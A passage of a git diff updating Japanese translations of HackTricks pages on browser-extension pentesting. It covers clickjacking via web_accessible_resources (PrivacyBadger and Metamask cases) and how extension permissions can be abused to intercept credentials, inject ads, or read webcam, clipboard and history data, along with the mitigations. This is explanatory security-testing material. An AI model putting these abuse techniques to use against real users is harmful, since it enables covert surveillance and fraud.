[https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) * [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) @@ -600,11 +600,11 @@ Project Neto は、Firefox や Chrome などの一般的なブラウザ用のプ
-htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまで AWS ハッキングを学びましょう! +htARTE(HackTricks AWS Red Team Expert)で AWS ハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricks をサポートする他の方法: -* もし**HackTricksで会社を宣伝したい**か**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* もし**HackTricksで会社を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**してください [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **💬[Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter**🐦で**フォロー**してください [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングテクニックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。** diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index f384c5be0..ee18f3586 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -4,47 +4,47 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
## 基本情報 -このページでは、ブラウザ拡張機能のClickJacking脆弱性を悪用します。\ -ClickJackingとは何かわからない場合は、次を確認してください: +このページでは、ブラウザ拡張機能の ClickJacking 脆弱性を悪用します。\ +ClickJacking が何かわからない場合は、以下を確認してください: {% content-ref url="../clickjacking.md" %} [clickjacking.md](../clickjacking.md) {% endcontent-ref %} -拡張機能には**`manifest.json`**というファイルが含まれており、そのJSONファイルには`web_accessible_resources`というフィールドがあります。[Chromeのドキュメント](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)には次のように記載されています: +拡張機能には **`manifest.json`** というファイルが含まれており、その JSON ファイルには `web_accessible_resources` というフィールドがあります。[Chrome ドキュメント](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) によると、次のように述べています: -> これらのリソースは、**`chrome-extension://[PACKAGE ID]/[PATH]`**というURLを介してウェブページで利用できるようになります。このURLは**`extension.getURLメソッド`**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> これらのリソースは、**`chrome-extension://[PACKAGE ID]/[PATH]`** という URL を介してウェブページで利用できるようになります。これは **`extension.getURL メソッド`** で生成できます。ホワイトリストに登録されたリソースは適切な CORS ヘッダーで提供されるため、XHR などのメカニズムを介して利用できます。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -ブラウザ拡張機能の**`web_accessible_resources`**はウェブを介してだけでなく、拡張機能固有の権限で動作します。これは次のことを意味します: +ブラウザ拡張機能内の **`web_accessible_resources`** はウェブを介してだけでなく、拡張機能固有の権限を持って動作します。これは次のことを可能にします: -- 拡張機能の状態を変更する -- 追加のリソースを読み込む -- ブラウザとある程度やり取りする +* 拡張機能の状態を変更する +* 追加のリソースを読み込む +* ある程度ブラウザとやり取りする -ただし、この機能にはセキュリティリスクがあります。**`web_accessible_resources`**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化する可能性があります。このアクティブ化により、拡張機能のリソースの権限と機能に応じて意図しない結果が発生する可能性があります。 +ただし、この機能にはセキュリティリスクがあります。**`web_accessible_resources`** 内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化するかもしれません。このアクティブ化によって、拡張機能のリソースの権限や機能に応じて意図しない結果が生じる可能性があります。 -## PrivacyBadgerの例 +## PrivacyBadger の例 -拡張機能PrivacyBadgerでは、`skin/`ディレクトリが以下のように`web_accessible_resources`として宣言されている脆弱性が特定されました(元の[ブログ投稿](https://blog.lizzie.io/clickjacking-privacy-badger.html)を参照してください)。 +拡張機能 PrivacyBadger では、`skin/` ディレクトリが以下のように `web_accessible_resources` として宣言されている脆弱性が特定されました(元の [ブログ投稿](https://blog.lizzie.io/clickjacking-privacy-badger.html) を参照してください)。 ```json "web_accessible_resources": [ "skin/*", "icons/*" ] ``` -この構成により、潜在的なセキュリティ問題が発生しました。具体的には、ブラウザでPrivacyBadgerアイコンをクリックすると表示される`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤って「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせるよう悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡される可能性が高まります。この脆弱性の実証として、ClickJackingのビデオ例が提供されています。[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で確認できます。 +この構成は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザでPrivacyBadgerアイコンをクリックすると表示される`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤って「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせるよう悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡を受ける可能性が高まります。この脆弱性の実証として、ClickJackingのビデオ例が提供されています。[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で確認できます。 この脆弱性に対処するために、簡単な解決策が実装されました:`web_accessible_resources`のリストから`/skin/*`を削除すること。この変更により、`skin/`ディレクトリのコンテンツがWebアクセス可能なリソースを介してアクセスまたは操作されないようにリスクが効果的に軽減されました。 @@ -91,15 +91,15 @@ click me ``` ## Metamaskの例 -[**MetamaskのClickJackingに関するブログ投稿はこちらで見つけることができます**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。この場合、Metamaskは、アクセスに使用されるプロトコルが **`https:`** または **`http:`**(例えば **`chrome:`** ではない)であることを確認することで脆弱性を修正しました: +[**MetamaskのClickJackingに関するブログ投稿はこちらで見つけることができます**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。この場合、Metamaskは、アクセスに使用されるプロトコルが **`https:`** または **`http:`**(たとえば **`chrome:`** ではない)であることを確認することで脆弱性を修正しました: -
+
-Metamask拡張機能で修正された**別のClickJacking**は、ページがフィッシングの疑いがあるとして疑わしいときに**Click to whitelist**できるようになっていたことです。`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`のため、そのページはClickjackingの脆弱性があり、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。 +Metamask拡張機能で修正された**別のClickJacking**は、ページが`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`としてフィッシングの疑いがあると判断された場合に、ユーザーが**Click to whitelist**できることでした。そのページがClickjackingに対して脆弱であるため、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。 ## Steam Inventory Helperの例 -次のページをチェックして、ブラウザ拡張機能の**XSS**が**ClickJacking**の脆弱性と連鎖した方法を確認してください: +ブラウザ拡張機能の**XSS**が**ClickJacking**の脆弱性と連鎖した方法を確認するには、次のページをチェックしてください: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -112,14 +112,14 @@ Metamask拡張機能で修正された**別のClickJacking**は、ページが
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 01cbe2935..fb6f59ec6 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -2,15 +2,15 @@
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。 -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する。
@@ -18,21 +18,21 @@ HackTricksをサポートする他の方法: ### **`permissions`** -権限は、拡張機能の**`manifest.json`**ファイルで**`permissions`**プロパティを使用して定義され、ブラウザがアクセスできるほとんどすべてのもの(Cookieまたは物理ストレージ)へのアクセスを許可します: +権限は、拡張機能の **`manifest.json`** ファイルで **`permissions`** プロパティを使用して定義され、ブラウザがアクセスできるほとんどすべてのもの(Cookieまたは物理ストレージ)へのアクセスを許可します: -前述のマニフェストは、拡張機能が`storage`権限を必要とすることを宣言しています。これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用してデータを永続的に保存できることを意味します。ユーザーに一定レベルの制御を提供するCookieや`localStorage` APIとは異なり、**拡張機能のストレージは通常、拡張機能をアンインストールすることでのみクリアできます**。 +前述のマニフェストは、拡張機能が `storage` 権限を必要とすることを宣言しています。これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用してデータを永続的に保存できることを意味します。ユーザーに一定レベルの制御を提供するCookieや `localStorage` APIとは異なり、**拡張機能のストレージは通常、拡張機能をアンインストールすることでのみクリアできます**。 -拡張機能は、その**`manifest.json`**ファイルで示されている権限を要求し、拡張機能をインストールした後、ブラウザでその権限を常に確認できます。次の画像に示すように: +拡張機能は、その **`manifest.json`** ファイルで示されている権限を要求し、拡張機能をインストールした後、この画像に示されているように、ブラウザでいつでもその権限を確認できます: -
+
-[**Chromiumブラウザ拡張機能が要求できる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**を見つけることができます**。 +[**Chromiumブラウザ拡張機能がリクエストできる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) および [**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** ### `host_permissions` -オプションですが強力な設定である**`host_permissions`**は、[`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)、および[`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)などのAPIを介して拡張機能がどのホストとやり取りできるかを示します。 +オプションですが強力な設定 **`host_permissions`** は、拡張機能が [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)、および [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) などのAPIを介してどのホストとやり取りできるかを示します。 -次の`host_permissions`は基本的にすべてのWebサイトを許可します: +以下の `host_permissions` は基本的にすべてのWebサイトを許可します: ```json "host_permissions": [ "*://*/*" @@ -49,9 +49,9 @@ HackTricksをサポートする他の方法: "" ] ``` -これらは、ブラウザ拡張機能が自由にアクセスできるホストです。ブラウザ拡張機能が **`fetch("https://gmail.com/")`** を呼び出すとき、**CORS によって制限されない**ためです。 +これらは、ブラウザ拡張機能が自由にアクセスできるホストです。これは、ブラウザ拡張機能が **`fetch("https://gmail.com/")`** を呼び出すときに CORS によって制限されないためです。 -## `permissions` と `host_permissions` の悪用 +## `permissions` と `host_permissions` の乱用 ### タブ @@ -63,19 +63,19 @@ HackTricksをサポートする他の方法: ### コンテンツスクリプトの実行 -コンテンツスクリプトは、静的に拡張機能マニフェストに書かれている必要はありません。**`host_permissions`** が十分であれば、**拡張機能は** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **または** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **を呼び出すことで動的に読み込むこともできます。** +コンテンツスクリプトは、基本的に拡張機能のマニフェストに静的に書かれている必要はありません。**`host_permissions`** が十分にあれば、**拡張機能は** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **または** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **を呼び出すことで動的に読み込むこともできます。** これらの API は、拡張機能に含まれるファイルだけでなく、**任意のコード**を実行できます。前者は JavaScript コードを文字列として渡すことができ、後者は JavaScript 関数を期待しますが、これはインジェクションの脆弱性が少ないです。それでも、これらの API は誤用されると混乱を招きます。 {% hint style="danger" %} -上記の機能に加えて、コンテンツスクリプトは、たとえば、Web ページに入力される**資格情報を傍受**することができます。これらを悪用する古典的な方法の1つは、**すべての Web サイトに広告を注入**することです。**詐欺メッセージ**をニュースサイトの信頼性を悪用するために追加することも可能です。最後に、**銀行の** Web サイトを**操作**して送金をリダイレクトすることもできます。 +上記の機能に加えて、コンテンツスクリプトは、たとえば、Web ページに入力される**資格情報を傍受**することができます。これらを悪用する古典的な方法の1つは、すべての Web サイトに**広告を注入**することです。ニュースサイトの信頼性を悪用するために**詐欺メッセージ**を追加することも可能です。最後に、銀行の Web サイトを**操作**して送金をリダイレクトすることもできます。 {% endhint %} ### 暗黙の権限 -一部の拡張機能の権限は**明示的に宣言する必要はありません**。その1つの例が [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) です。その基本機能は権限なしでアクセスできます。どの拡張機能も、タブを開いたり閉じたりするときに通知を受け取ることができますが、そのタブがどの Web サイトに対応するかはわかりません。 +一部の拡張機能の権限は**明示的に宣言する必要はありません**。その1つは [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) です。その基本機能は特別な権限なしでアクセスできます。任意の拡張機能は、タブを開いたり閉じたりするときに通知を受け取ることができますが、どの Web サイトに対応するかはわかりません。 -無害に聞こえますか? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) は少し異なります。これを使用して**新しいタブを作成**することができます。基本的には、どの Web サイトでも呼び出すことができる [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) と同じです。ただし、`window.open()` は**ポップアップブロッカーの対象**ですが、`tabs.create()` はそうではありません。 +無害に聞こえますか? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) は少し異なります。これを使用して、新しいタブを作成できます。基本的には [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) と同じですが、どの Web サイトでも呼び出すことができます。ただし、`window.open()` は**ポップアップブロッカーの対象ですが、`tabs.create()` は対象ではありません**。 {% hint style="danger" %} 拡張機能は、必要に応じていつでも任意の数のタブを作成できます。 @@ -85,39 +85,39 @@ HackTricksをサポートする他の方法: [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) は `tabs.create()` に非常に似ていますが、**既存のタブを変更**します。したがって、悪意のある拡張機能は、例えば、広告ページを任意のタブに任意に読み込むことができ、対応するタブもアクティブ化できます。 -### ウェブカメラ、ジオロケーションなど +### ウェブカメラ、ジオロケーション、およびその他 -おそらく、Web サイトは特別な権限をリクエストできることを知っているでしょう。たとえば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)へのアクセスなどです。これは悪用の可能性が高い機能であり、ユーザーは毎回これを継続して許可する必要があります。 +おそらく、Web サイトは特別な権限をリクエストできることを知っているでしょう。たとえば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)へのアクセスを求めることができます。これは悪用の可能性が高い機能であり、ユーザーは毎回これを継続して許可する必要があります。 {% hint style="danger" %} -しかし、ブラウザ拡張機能では異なります。**ブラウザ拡張機能が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、1度だけ許可を求めるだけで済みます** +しかし、ブラウザ拡張機能では異なります。**ブラウザ拡張機能が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、1度だけ許可を求めるだけです** {% endhint %} -通常、拡張機能はインストール直後にこれを行います。このプロンプトが受け入れられると、**ユーザーが拡張機能と対話していない場合でも、いつでもウェブカメラにアクセスできます**。はい、ユーザーは拡張機能が本当にウェブカメラへのアクセスが必要かどうかを確認した後にこのプロンプトを受け入れます。しかし、その後は、拡張機能が何も秘密裏に記録しないことを信頼する必要があります。 +通常、拡張機能はインストール直後にこれを行います。このプロンプトが受け入れられると、**ウェブカメラへのアクセスがいつでも可能**になります。ユーザーは、拡張機能が本当にウェブカメラへのアクセスが必要である場合にのみこのプロンプトを受け入れます。しかし、その後、拡張機能が何も秘密裏に記録しないことを信頼する必要があります。 -[正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation)や[クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API)へのアクセスについては、明示的な許可は不要です。**拡張機能は、単にマニフェストの** [**permissions エントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に `geolocation` または `clipboard` を追加するだけです。** これらのアクセス権限は、拡張機能がインストールされるときに暗黙的に付与されます。したがって、これらの権限を持つ悪意のあるまたは侵害された拡張機能は、あなたの移動履歴を作成したり、コピーされたパスワードを監視したりすることができ、あなたが何も気づかないままです。 +[正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation)や[クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API)へのアクセスについては、明示的な許可は不要です。**拡張機能は、単にマニフェストの** [**permissions エントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に `geolocation` または `clipboard` を追加するだけです。** これらのアクセス権限は、拡張機能がインストールされると暗黙的に付与されます。したがって、これらの権限を持つ悪意のあるまたは侵害された拡張機能は、あなたの移動履歴を作成したり、コピーされたパスワードを監視したりすることができ、あなたが何も気づかないままです。 -[**history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) **キーワードを** [**permissions エントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加すると、** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) **へのアクセスが許可されます。** これにより、ユーザーの全体の閲覧履歴を待つことなく一度に取得できます。 +[**history**] キーワードを[permissions エントリ](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) に追加すると、[**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) に**アクセス**できます。これにより、ユーザーのすべてのブラウジング履歴を待つことなく一度に取得できます。 -**`bookmarks`** **権限**には同様の悪用の可能性があり、これにより、**[**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)**を介してすべてのブックマークを読み取ることができます。** +**`bookmarks`** **権限**には同様の悪用の可能性があり、これにより、[**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) を介してすべてのブックマークを読み取ることができます。 ### ストレージ権限 -拡張機能のストレージは、任意の Web サイトが使用できる [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) に非常に似たキーと値のコレクションです。したがって、ここには機密情報を保存すべきではありません。 +拡張機能のストレージは、基本的には任意の Web サイトが使用できる [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) と非常に似ています。したがって、ここには機密情報を保存すべきではありません。 ただし、広告会社もこのストレージを悪用する可能性があります。 ### その他の権限 -[**Chromium ブラウザ拡張機能が要求できる権限の完全なリストはこちらで確認できます**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox 拡張機能の完全なリストはこちらで確認できます**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** +Chromium ブラウザ拡張機能がリクエストできる[**権限の完全なリストはこちらで確認できます**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 、Firefox 拡張機能の[**完全なリストはこちらで確認できます**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** ## 予防 Google の開発者ポリシーは、拡張機能が機能に必要以上の権限を要求することを明示的に禁止しており、過剰な権限要求を緩和しています。ブラウザ拡張機能がこの境界を越えた例は、ブラウザ自体と一緒に配布された場合であり、アドオンストアを介してではありません。 -ブラウザは、拡張機能の権限の誤用をさらに抑制することができます。たとえば、スクリーン録画に使用される Chrome の [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) および [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API は、悪用を最小限に抑えるよう設計されています。tabCapture API は、拡張機能アイコンをクリックするなどの直接のユーザー操作を通じてのみアクティブ化でき、desktopCapture は、ウィンドウの録画に対してユーザーの確認が必要で、秘密裏に録画される活動を防ぎます。 +ブラウザは、拡張機能の権限の誤用をさらに抑制できます。たとえば、Chrome の [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) および [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API は、画面録画に使用され、悪用を最小限に抑えるよう設計されています。tabCapture API は、拡張機能アイコンをクリックするなどの直接のユーザー操作を介してのみアクティブ化でき、desktopCapture は、ウィンドウの録画に対してユーザーの確認が必要であり、秘密裏の録画活動を防止します。 -ただし、セキュリティ対策を強化すると、拡張機能の柔軟性とユーザーフレンドリー性が低下することがよくあります。[activeTab 権限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission) はこのトレードオフを示しています。これは、拡張機能がインターネット全体にホスト権限を要求する必要をなくし、ユーザーによる明示的なアクティベーションで現在のタブにのみアクセスできるようにするために導入されました。このモデルは、ユーザー起点のアクションを必要とする拡張機能には効果的ですが、自動的または予防的なアクションを必要とする拡張機能には適しておらず、便利さと即時応答性が損なわれる可能性があります。 +ただし、セキュリティ対策を強化すると、拡張機能の柔軟性とユーザーフレンドリー性が低下することがよくあります。[activeTab 権限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission) は、このトレードオフを示しています。これは、拡張機能がインターネット全体にホスト権限を要求する必要をなくし、ユーザーによる明示的なアクティベーションによって現在のタブのみにアクセスできるようにするために導入されました。このモデルは、ユーザーが起動アクションを必要とする拡張機能に対しては効果的ですが、自動的または予防的なアクションを必要とする拡張機能には適しておらず、便利さと即時応答性が損なわれる可能性があります。 ## **参考文献** * [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) @@ -127,12 